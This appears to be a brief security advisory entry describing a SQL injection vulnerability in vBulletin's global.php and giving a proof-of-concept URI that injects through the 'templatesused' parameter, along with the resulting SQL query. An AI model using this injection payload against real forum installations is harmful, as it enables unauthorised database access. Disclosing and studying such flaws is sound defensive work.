|
VBulletin Global.PHP SQL Injection Vulnerability
An attacker can exploit this issue via a web client. The following proof-of-concept URIs are available: http://www.example.com/global.php?templatesused=nn,dd,'))/* SELECT template,title FROM template WHERE (title IN ('nn','dd','\\\'))/*','gobutton','timezone','username_loggedout','username_loggedin','phpinclude','headinclude','header','footer','forumjumpbit','forumjump','nav_linkoff','nav_linkon','navbar','nav_joiner','pagenav','pagenav_curpage','pagenav_firstlink','pagenav_lastlink','pagenav_nextlink','pagenav_pagelink','pagenav_prevlink') AND (templatesetid=-1 OR templatesetid=1)) ORDER BY templatesetid |
|
|
Privacy Statement |
